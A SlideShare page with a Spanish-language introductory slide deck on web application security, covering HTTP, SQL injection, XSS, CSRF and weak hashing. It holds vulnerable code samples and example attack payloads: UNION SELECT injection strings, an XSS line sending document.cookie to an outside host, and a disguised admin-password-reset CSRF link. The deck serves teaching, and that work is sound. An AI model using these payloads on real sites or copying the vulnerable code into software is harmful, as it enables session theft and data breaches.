SlideShare ist ein Scribd-Unternehmen logo
1 von 17
Downloaden Sie, um offline zu lesen
Seguridad de Aplicaciones
              Web
          Everth Juvenal Gallegos Puma




                      
¿Que es un aplicacion web?
    En la ingeniería de software se denomina
    aplicación web a aquellas aplicaciones que los
    usuarios pueden utilizar accediendo a un
    servidor web a través de Internet o de una
    intranet mediante un navegador. En otras
    palabras, es una aplicación software que se
    codifica en un lenguaje soportado por los
    navegadores web en la que se confía la
    ejecución al navegador.


                        
Arquitectura de una AppWeb


               http://areyouahuman.com/




                      
●
                                                HTTP
        protocolo de transferencia de hipertexto.
    ●   Ejemplo:

        Cliente:

        GET /index.php HTTP/1.1

        Host: www.example.com

        User-Agent: nombre-cliente

        Cookie:phpsession=12aba789491279912

        Connection: Close

        Servidor:

        HTTP/1.1 200 OK

        Date: Fri, 31 Dec 2011 23:59:59 GMT

        Content-Type: text/html

        Content-Length: 1221

        <html>

        <body>

        <h1>Página principal de tuHost</h1>

                                                     
¿A que nos enfrentamos?




                
¿Por donde empezamos?




               
¿Qué son los riesgos de
    seguridad en aplicaciones?




                
Algunos Ejemplos
●   SQL Injeccion: Injeccion de codigo sql en
    consultas
    codigo vulnerable
    C#:
SqlCommand cmd = new
SqlCommand("SELECT * FROM noticias
WHERE id = '" +Request.QueryString(“id”) +
"'", con);
using( SqlDataReader rdr =
cmd.ExecuteReader() );
                      
Java:
    Statement stmt = con.createStatement();
    ResultSet rset = stmt.executeQuery("SELECT
    * FROM noticias WHERE id = '" +
    request.getParameter(“id”) + "';");
    PHP:
     $query_result = mysql_query("SELECT *
    FROM noticias WHERE id = '" . $_GET[“id”].
    "'");



                         
●   Testing
        http://ejemplo.com/noticias.php|asp|jsp?id=1
        and 1=1
        internamente:
        Select * from noticias where id=1 and 1=1
        “muestra contenido”
        http://ejemplo.com/noticias.php|asp|jsp?id=1
        and 1=2
        internamente:
        Select * from noticias where id=1 and 1=2
        “No muestra Contenido”
                               
●   Ataque
        allar el numero de columnas
        http://ejemplo.com/noticias.php|asp|jsp?id=1
        order by 1,2,..etc
        hacer consultas
        http://ejemplo.com/noticias.php|asp|jsp?id=1
        union select 1,2,table_name,4,5,..,etc from
        information_schema.tables
        http://ejemplo.com/noticias.php|asp|jsp?id=1
        union select 1,2,table_name,4,5,..,etc from
        information_schema.tables.
        Consula a la tabla de usuario
                            
●   XSS:
        ataque del lado del cliente para injectar codigo
        html, javascript.
        Codigo Vulnerable:
        C#:
        response.write(request.querystring(“msg”));
        JAVA:
        out.println(request.getParameter(“msg”));
        PHP:
        echo $_GET[“msg”];
                             
●   Testing:
        http://ejemplo.com/buscar.php|asp|jsp?
        msg=<h1>Hola</h1>.
    ●   Ataque:
        http://ejemplo.com/buscar.php|asp|jsp?
        msg=document.location=http://juaker.com/xss.
        php?datos=document.cookie;




                            
●   Falcificacion de peticiones:
        Ataque:
        <a href=”http://mipagina.com/resert.php?
        user=admin&newpass=admin”>Gana
        dinero con un click</a>.
    ●   Almacenamiento Criptográfico Inseguro
        “cifrar adecuadamente datos importantes”
        ejemplo
        passcifrado=md5(salt+passoriginal);


                            
Defectuosa Configuracion de Seguridad:
    Ejemplo
    aspx:
    Padding oracle:Exposicion de codigo
    remotamente
    PHP:
    php en modo cgi:Exposicion y ejecucion de
    codigo remoto




                        
●   Errores de capa 8:
        Usuarios descuidados
        contraseñas debiles
        archivos de respaldo no borrados.




                               
Gracias
           ¿Preguntas?
    Everth.gallegos@gmail.com



               

Weitere ähnliche Inhalte

Ähnlich wie Seguridad

Presentación Workshop php Barcelona Seguridad
Presentación Workshop php Barcelona SeguridadPresentación Workshop php Barcelona Seguridad
Presentación Workshop php Barcelona Seguridadguestbfa74a
 
Seguridad 120618095150-phpapp01
Seguridad 120618095150-phpapp01Seguridad 120618095150-phpapp01
Seguridad 120618095150-phpapp01Edmundo Salas
 
Web App Security, Ethical hacking for CodeCamp SDQ 5
Web App Security, Ethical hacking for CodeCamp SDQ 5Web App Security, Ethical hacking for CodeCamp SDQ 5
Web App Security, Ethical hacking for CodeCamp SDQ 5Jose Gratereaux
 
Descubriendo Ruby on Rails (Desarrollo Agil de Aplicaciones Web)
Descubriendo Ruby on Rails (Desarrollo Agil de Aplicaciones Web)Descubriendo Ruby on Rails (Desarrollo Agil de Aplicaciones Web)
Descubriendo Ruby on Rails (Desarrollo Agil de Aplicaciones Web)lenny
 
Descubriendo Ruby On Rails (Desarrollo Agil De Aplicaciones Web)
Descubriendo Ruby On Rails (Desarrollo Agil De Aplicaciones Web)Descubriendo Ruby On Rails (Desarrollo Agil De Aplicaciones Web)
Descubriendo Ruby On Rails (Desarrollo Agil De Aplicaciones Web)INSIGNIA4U
 
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidadesLa Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidadesNextel S.A.
 
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidadesLa Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidadesPablo Garaizar
 
"Los Imprescindibles de .NetCore"
"Los Imprescindibles de .NetCore""Los Imprescindibles de .NetCore"
"Los Imprescindibles de .NetCore"www.encamina.com
 
Los 7 pecados del Desarrollo Web
Los 7 pecados del Desarrollo WebLos 7 pecados del Desarrollo Web
Los 7 pecados del Desarrollo Webacksec
 
(In)seguridad en componentes cliente de aplicaciones web - UMA Hackers Week 2015
(In)seguridad en componentes cliente de aplicaciones web - UMA Hackers Week 2015(In)seguridad en componentes cliente de aplicaciones web - UMA Hackers Week 2015
(In)seguridad en componentes cliente de aplicaciones web - UMA Hackers Week 2015erandog
 

Ähnlich wie Seguridad (20)

Presentación Workshop php Barcelona Seguridad
Presentación Workshop php Barcelona SeguridadPresentación Workshop php Barcelona Seguridad
Presentación Workshop php Barcelona Seguridad
 
Seguridad WEB - Principios básicos.
Seguridad WEB - Principios básicos.Seguridad WEB - Principios básicos.
Seguridad WEB - Principios básicos.
 
Seguridad en php
Seguridad en phpSeguridad en php
Seguridad en php
 
Ajax
AjaxAjax
Ajax
 
Seguridad 120618095150-phpapp01
Seguridad 120618095150-phpapp01Seguridad 120618095150-phpapp01
Seguridad 120618095150-phpapp01
 
Web App Security, Ethical hacking for CodeCamp SDQ 5
Web App Security, Ethical hacking for CodeCamp SDQ 5Web App Security, Ethical hacking for CodeCamp SDQ 5
Web App Security, Ethical hacking for CodeCamp SDQ 5
 
Descubriendo Ruby on Rails (Desarrollo Agil de Aplicaciones Web)
Descubriendo Ruby on Rails (Desarrollo Agil de Aplicaciones Web)Descubriendo Ruby on Rails (Desarrollo Agil de Aplicaciones Web)
Descubriendo Ruby on Rails (Desarrollo Agil de Aplicaciones Web)
 
Descubriendo Ruby On Rails (Desarrollo Agil De Aplicaciones Web)
Descubriendo Ruby On Rails (Desarrollo Agil De Aplicaciones Web)Descubriendo Ruby On Rails (Desarrollo Agil De Aplicaciones Web)
Descubriendo Ruby On Rails (Desarrollo Agil De Aplicaciones Web)
 
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidadesLa Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
 
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidadesLa Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
 
Ajax
AjaxAjax
Ajax
 
Javascript
JavascriptJavascript
Javascript
 
Mod security
Mod securityMod security
Mod security
 
"Los Imprescindibles de .NetCore"
"Los Imprescindibles de .NetCore""Los Imprescindibles de .NetCore"
"Los Imprescindibles de .NetCore"
 
Guiajquery
GuiajqueryGuiajquery
Guiajquery
 
Testing Android Security
Testing Android SecurityTesting Android Security
Testing Android Security
 
Javascript
JavascriptJavascript
Javascript
 
Seguridad en PHP (es)
Seguridad en PHP (es)Seguridad en PHP (es)
Seguridad en PHP (es)
 
Los 7 pecados del Desarrollo Web
Los 7 pecados del Desarrollo WebLos 7 pecados del Desarrollo Web
Los 7 pecados del Desarrollo Web
 
(In)seguridad en componentes cliente de aplicaciones web - UMA Hackers Week 2015
(In)seguridad en componentes cliente de aplicaciones web - UMA Hackers Week 2015(In)seguridad en componentes cliente de aplicaciones web - UMA Hackers Week 2015
(In)seguridad en componentes cliente de aplicaciones web - UMA Hackers Week 2015
 

Seguridad

  • 1. Seguridad de Aplicaciones Web Everth Juvenal Gallegos Puma    
  • 2. ¿Que es un aplicacion web? En la ingeniería de software se denomina aplicación web a aquellas aplicaciones que los usuarios pueden utilizar accediendo a un servidor web a través de Internet o de una intranet mediante un navegador. En otras palabras, es una aplicación software que se codifica en un lenguaje soportado por los navegadores web en la que se confía la ejecución al navegador.    
  • 3. Arquitectura de una AppWeb http://areyouahuman.com/    
  • 4. HTTP protocolo de transferencia de hipertexto. ● Ejemplo: Cliente: GET /index.php HTTP/1.1 Host: www.example.com User-Agent: nombre-cliente Cookie:phpsession=12aba789491279912 Connection: Close Servidor: HTTP/1.1 200 OK Date: Fri, 31 Dec 2011 23:59:59 GMT Content-Type: text/html Content-Length: 1221 <html> <body> <h1>Página principal de tuHost</h1>    
  • 5. ¿A que nos enfrentamos?    
  • 7. ¿Qué son los riesgos de seguridad en aplicaciones?    
  • 8. Algunos Ejemplos ● SQL Injeccion: Injeccion de codigo sql en consultas codigo vulnerable C#: SqlCommand cmd = new SqlCommand("SELECT * FROM noticias WHERE id = '" +Request.QueryString(“id”) + "'", con); using( SqlDataReader rdr = cmd.ExecuteReader() );    
  • 9. Java: Statement stmt = con.createStatement(); ResultSet rset = stmt.executeQuery("SELECT * FROM noticias WHERE id = '" + request.getParameter(“id”) + "';"); PHP: $query_result = mysql_query("SELECT * FROM noticias WHERE id = '" . $_GET[“id”]. "'");    
  • 10. Testing http://ejemplo.com/noticias.php|asp|jsp?id=1 and 1=1 internamente: Select * from noticias where id=1 and 1=1 “muestra contenido” http://ejemplo.com/noticias.php|asp|jsp?id=1 and 1=2 internamente: Select * from noticias where id=1 and 1=2 “No muestra Contenido”    
  • 11. Ataque allar el numero de columnas http://ejemplo.com/noticias.php|asp|jsp?id=1 order by 1,2,..etc hacer consultas http://ejemplo.com/noticias.php|asp|jsp?id=1 union select 1,2,table_name,4,5,..,etc from information_schema.tables http://ejemplo.com/noticias.php|asp|jsp?id=1 union select 1,2,table_name,4,5,..,etc from information_schema.tables.   Consula a la tabla de usuario  
  • 12. XSS: ataque del lado del cliente para injectar codigo html, javascript. Codigo Vulnerable: C#: response.write(request.querystring(“msg”)); JAVA: out.println(request.getParameter(“msg”)); PHP: echo $_GET[“msg”];    
  • 13. Testing: http://ejemplo.com/buscar.php|asp|jsp? msg=<h1>Hola</h1>. ● Ataque: http://ejemplo.com/buscar.php|asp|jsp? msg=document.location=http://juaker.com/xss. php?datos=document.cookie;    
  • 14. Falcificacion de peticiones: Ataque: <a href=”http://mipagina.com/resert.php? user=admin&newpass=admin”>Gana dinero con un click</a>. ● Almacenamiento Criptográfico Inseguro “cifrar adecuadamente datos importantes” ejemplo passcifrado=md5(salt+passoriginal);    
  • 15. Defectuosa Configuracion de Seguridad: Ejemplo aspx: Padding oracle:Exposicion de codigo remotamente PHP: php en modo cgi:Exposicion y ejecucion de codigo remoto    
  • 16. Errores de capa 8: Usuarios descuidados contraseñas debiles archivos de respaldo no borrados.    
  • 17. Gracias ¿Preguntas? Everth.gallegos@gmail.com